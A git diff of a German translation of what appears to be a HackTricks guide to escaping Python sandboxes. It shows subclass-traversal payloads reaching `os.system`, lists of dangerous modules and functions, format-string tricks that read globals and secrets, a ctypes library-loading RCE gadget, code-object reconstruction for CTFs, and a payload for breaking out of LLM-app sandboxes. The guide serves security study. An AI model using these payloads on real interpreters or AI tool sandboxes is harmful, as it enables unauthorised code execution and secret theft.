[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -491,7 +492,7 @@ Dasselbe können wir mit **other libraries** tun, von denen wir wissen, dass sie
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Außerdem könnten wir sogar nach Modulen suchen, die bösartige Bibliotheken laden:
|
||||
Außerdem könnten wir sogar herausfinden, welche modules malicious libraries laden:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Außerdem, wenn du denkst, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken filtern:
|
||||
Außerdem, wenn du denkst, dass **andere Bibliotheken** möglicherweise in der Lage sind, **Funktionen aufzurufen, um Befehle auszuführen**, können wir auch **nach Funktionsnamen filtern** innerhalb der möglichen Bibliotheken:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -543,10 +544,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## Rekursive Suche nach Builtins, Globals...
|
||||
## Rekursive Suche nach builtins, globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Das ist einfach **großartig**. Wenn du **ein Objekt wie globals, builtins, open oder Ähnliches suchst**, verwende einfach dieses script, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
|
||||
> Das ist einfach **großartig**. Wenn du **nach einem Objekt wie globals, builtins, open oder ähnlichem suchst**, verwende einfach dieses Skript, um **rekursiv Stellen zu finden, an denen du dieses Objekt finden kannst.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -662,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Du kannst die Ausgabe dieses Skripts auf dieser Seite prüfen:
|
||||
Du kannst die Ausgabe dieses Skripts auf dieser Seite überprüfen:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Wenn du einen **string** an python **sendest**, der **formatiert** wird, kannst du `{}` verwenden, um **interne Informationen von python** auszulesen. Du kannst die vorherigen Beispiele verwenden, um z. B. auf **globals** oder **builtins** zuzugreifen.
|
||||
Wenn du einen **string** an python **sendest**, der **formatiert** wird, kannst du `{}` verwenden, um auf **interne Informationen von python** zuzugreifen. Du kannst die vorherigen Beispiele verwenden, um z. B. auf globals oder builtins zuzugreifen.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Beachte, wie du auf **Attribute** auf normale Weise mit einem **Punkt** zugreifen kannst, wie `people_obj.__init__` und auf ein **dict-Element** mit **eckigen Klammern** ohne Anführungszeichen `__globals__[CONFIG]`
|
||||
Beachte, dass du **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und ein **dict-Element** mit **eckigen Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen kannst
|
||||
|
||||
Beachte auch, dass du `.__dict__` verwenden kannst, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Ein weiteres interessantes Merkmal von Format-Strings ist die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt durch Anhängen von **`!s`**, **`!r`**, **`!a`** auszuführen:
|
||||
Einige weitere interessante Eigenschaften von Format-Strings sind die Möglichkeit, die **Funktionen** `str`, `repr` und `ascii` im angegebenen Objekt **auszuführen**, indem man jeweils **`!s`**, **`!r`**, **`!a`** hinzufügt:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Außerdem ist es möglich, **code new formatters** in Klassen:
|
||||
Außerdem ist es möglich, **code new formatters** in Klassen zu implementieren:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -711,10 +712,10 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Weitere Beispiele** zu **format** **string**-Beispielen finden Sie unter [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Weitere Beispiele** zu **format** **string** finden Sie unter [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Prüfen Sie auch die folgende Seite auf gadgets, die l**esen sensible Informationen aus Python internal objects**:
|
||||
> Prüfen Sie auch die folgende Seite auf gadgets, die **sensible Informationen aus Python-internen Objekten lesen**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -739,20 +740,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
Aus [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Vom Format-String zur RCE durch Laden von Bibliotheken
|
||||
### Vom format-String zur RCE beim Laden von Libraries
|
||||
|
||||
Laut dem [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Libraries von der Festplatte zu laden, indem man die Format-String-Schwachstelle in Python ausnutzt.
|
||||
Laut dem [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Libraries von der Festplatte zu laden, indem man die format string vulnerability in python ausnutzt.
|
||||
|
||||
Zur Erinnerung: Jedes Mal, wenn in Python eine Aktion ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel führt `2*3` **`(2).mul(3)`** aus oder **`{'a':'b'}['a']`** entspricht **`{'a':'b'}.__getitem__('a')`**.
|
||||
Zur Erinnerung: Jedes Mal, wenn eine Operation in python ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel wird `2*3` **`(2).mul(3)`** ausführen oder `{'a':'b'}['a']` wird **`{'a':'b'}.__getitem__('a')`** ausführen.
|
||||
|
||||
Mehr davon findest du im Abschnitt [**Python execution without calls**](#python-execution-without-calls).
|
||||
Weitere Beispiele findest du im Abschnitt [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Eine Python-Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (sie erlaubt keine Verwendung von Klammern), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Allerdings ist die Verwendung von `[]` möglich. Wenn also eine gängige Python-Library eine **`__getitem__`**- oder **`__getattr__`**-Methode hat, die beliebigen Code ausführt, lässt sich diese missbrauchen, um RCE zu erreichen.
|
||||
Eine python format string vuln erlaubt es nicht, eine Funktion auszuführen (sie erlaubt nicht die Verwendung von parenthesis), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Es ist jedoch möglich, `[]` zu verwenden. Wenn also eine gängige python-Library eine **`__getitem__`** oder **`__getattr__`**-Methode besitzt, die beliebigen Code ausführt, lässt sich diese zum Erlangen von RCE missbrauchen.
|
||||
|
||||
Auf der Suche nach einem solchen Gadget in Python schlägt das Writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Bei der Suche nach einem solchen Gadget in python schlägt der writeup diese [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Dort fand er dieses [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -774,20 +775,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Dieses Gadget ermöglicht, eine **Bibliothek von der Festplatte zu laden**. Daher muss die Bibliothek, die geladen werden soll, irgendwie **korrekt kompiliert** auf den angegriffenen Server geschrieben oder hochgeladen werden.
|
||||
Dieses Gadget erlaubt es, **eine Bibliothek von der Festplatte zu laden**. Deshalb ist es nötig, **die zu ladende Bibliothek irgendwie korrekt kompiliert auf den angegriffenen Server zu schreiben oder hochzuladen**.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
Die Challenge missbraucht tatsächlich eine andere Schwachstelle im Server, die es erlaubt, beliebige Dateien auf der Serverfestplatte zu erstellen.
|
||||
Die Challenge nutzt tatsächlich eine weitere Schwachstelle im Server aus, die das Erstellen beliebiger Dateien auf der Festplatte des Servers erlaubt.
|
||||
|
||||
## Analyse von Python-Objekten
|
||||
|
||||
> [!TIP]
|
||||
> Wenn du über **python bytecode** im Detail **lernen** möchtest, lies diesen **ausgezeichneten** Beitrag zum Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> Wenn du **python bytecode** eingehend **lernen** möchtest, lies diesen **ausgezeichneten** Beitrag zum Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In einigen CTFs könntest du den Namen einer **custom function where the flag** erhalten und du musst die **internals** der **function** ansehen, um sie zu extrahieren.
|
||||
In einigen CTFs könntest du den Namen einer **custom function where the flag** erhalten und musst die **internals** der **function** ansehen, um sie zu extrahieren.
|
||||
|
||||
Dies ist die function, die es zu inspizieren gilt:
|
||||
Das ist die Funktion, die es zu untersuchen gilt:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` und `func_globals`(gleich) geben die globale Umgebung zurück. Im Beispiel siehst du einige importierte Module, einige globale Variablen und deren Inhalt:
|
||||
`__globals__` und `func_globals` (gleich) geben die globale Umgebung zurück. Im Beispiel siehst du einige importierte Module, einige globale Variablen und deren Inhalte:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -818,9 +819,9 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Zugriff auf den Code der Funktion**
|
||||
### **Zugriff auf den Funktionscode**
|
||||
|
||||
**`__code__`** und `func_code`: Sie können auf dieses **Attribut** der **Funktion** **zugreifen**, um das **Code-Objekt** der Funktion zu erhalten.
|
||||
**`__code__`** und `func_code`: Du kannst auf dieses **Attribut** der Funktion **zugreifen**, um **das Code-Objekt** der Funktion zu erhalten.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -834,7 +835,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Informationen zum Code erhalten
|
||||
### Code-Informationen erhalten
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -880,7 +881,7 @@ get_flag.__code__.co_freevars
|
||||
get_flag.__code__.co_code
|
||||
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
|
||||
```
|
||||
### **Disassembly einer Funktion**
|
||||
### **Eine Funktion disassemblieren**
|
||||
```python
|
||||
import dis
|
||||
dis.dis(get_flag)
|
||||
@ -908,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Beachte, dass **wenn du `dis` in der python sandbox nicht importieren kannst** du den **bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemblieren** kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
|
||||
Beachte, dass **wenn du `dis` im python sandbox nicht importieren kannst** du den **bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemble** kannst. Du wirst den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber du kannst sie aus (`get_flag.func_code.co_consts`) erraten, weil `LOAD_CONST` auch den Offset der geladenen Variable angibt.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -932,8 +933,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Python kompilieren
|
||||
|
||||
Stellen wir uns nun vor, dass Sie auf irgendeine Weise **die Informationen über eine Funktion dumpen, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\
|
||||
Wie im folgenden Beispiel **können Sie auf das code object** dieser Funktion zugreifen, aber allein durch das Lesen des disassemble wissen Sie **nicht, wie Sie den flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
|
||||
Nun stellen wir uns vor, dass Sie auf irgendeine Weise **die Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, diese aber **ausführen** müssen.\
|
||||
Wie im folgenden Beispiel können Sie **auf das code object** dieser Funktion zugreifen, aber wenn Sie nur das **disassemble** lesen, wissen Sie **nicht, wie Sie das flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -946,9 +947,9 @@ return calc_flag("VjkuKuVjgHnci")
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
### Erstellen des Code-Objekts
|
||||
### Erstellen des code object
|
||||
|
||||
Zuerst müssen wir wissen **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion leaked auszuführen:
|
||||
Zunächst müssen wir wissen, **wie man ein code object erstellt und ausführt**, damit wir eines erstellen können, um unsere function leaked auszuführen:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -968,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Je nach Python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der Parameter in der Python-Version, die du ausführst, herauszufinden, ist, folgendes auszuführen:
|
||||
> Je nach python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, die Reihenfolge der Parameter in der python-Version, die du ausführst, zu kennen, ist, Folgendes auszuführen:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -976,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Rekonstruieren einer leaked function
|
||||
### Rekonstruktion einer leaked Funktion
|
||||
|
||||
> [!WARNING]
|
||||
> Im folgenden Beispiel entnehmen wir alle Daten, die nötig sind, um die Funktion direkt aus dem function code object zu rekonstruieren. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, genau das, was **you will need to leak**.
|
||||
> Im folgenden Beispiel werden wir alle Daten, die nötig sind, um die Funktion zu rekonstruieren, direkt aus dem function code object entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, genau das, was **du als leak benötigst**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -992,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Abwehrmechanismen umgehen
|
||||
|
||||
In den vorherigen Beispielen zu Beginn dieses Beitrags kannst du sehen **wie man beliebigen python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil du **gesamte Skripte** mit Schleifen und allem in einem **One-Liner** ausführen kannst (und wir könnten dasselbe mit **`exec`** tun).\
|
||||
Manchmal kann es jedoch nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es in der **CTF machine** auszuführen (zum Beispiel weil wir in der CTF die `compiled`-Funktion nicht haben).
|
||||
In den vorherigen Beispielen am Anfang dieses Posts kannst du sehen, **wie man beliebigen python code mit der `compile`-Funktion ausführt**. Das ist interessant, weil du **ganze Skripte ausführen** kannst, mit Schleifen und allem in einem **one liner** (und wir könnten dasselbe mit **`exec`** tun).\
|
||||
Wie auch immer, manchmal kann es nützlich sein, **erstellen** eines **kompilierten Objekts** auf einem lokalen Rechner und dieses auf der **CTF machine** auszuführen (zum Beispiel weil wir die `compiled`-Funktion auf der CTF nicht haben).
|
||||
|
||||
Zum Beispiel kompilieren und führen wir manuell eine Funktion aus, die _./poc.py_ liest:
|
||||
Zum Beispiel, lass uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1022,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Wenn du nicht auf `eval` oder `exec` zugreifen kannst, könntest du eine **richtige Funktion** erstellen, aber ein direkter Aufruf wird meist mit: _constructor not accessible in restricted mode_ fehlschlagen. Deshalb brauchst du eine **Funktion außerhalb der eingeschränkten Umgebung, die diese Funktion aufruft.**
|
||||
Wenn du nicht auf `eval` oder `exec` zugreifen kannst, könntest du eine **richtige Funktion** erstellen, aber sie direkt aufzurufen wird normalerweise mit dem Fehler fehlschlagen: _constructor not accessible in restricted mode_. Du brauchst also eine **Funktion, die sich nicht in der eingeschränkten Umgebung befindet, um diese Funktion aufzurufen.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1034,7 +1035,7 @@ f(42)
|
||||
|
||||
Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man gegebenen kompilierten Python-Code **decompile**.
|
||||
|
||||
**Sieh dir dieses Tutorial an**:
|
||||
**Schau dir dieses Tutorial an**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1045,8 +1046,8 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
|
||||
|
||||
### Assert
|
||||
|
||||
Python, ausgeführt mit dem Optimierungsparameter `-O`, entfernt asset-Anweisungen und jeglichen Code, der von dem Wert **debug** abhängig ist.\
|
||||
Daher werden Überprüfungen wie
|
||||
Python, ausgeführt mit Optimierungen über den Parameter `-O`, entfernt assert-Anweisungen und jeden Code, der von dem Wert von **debug** abhängig ist.\
|
||||
Daher werden Prüfungen wie
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
Loading…
x
Reference in New Issue
Block a user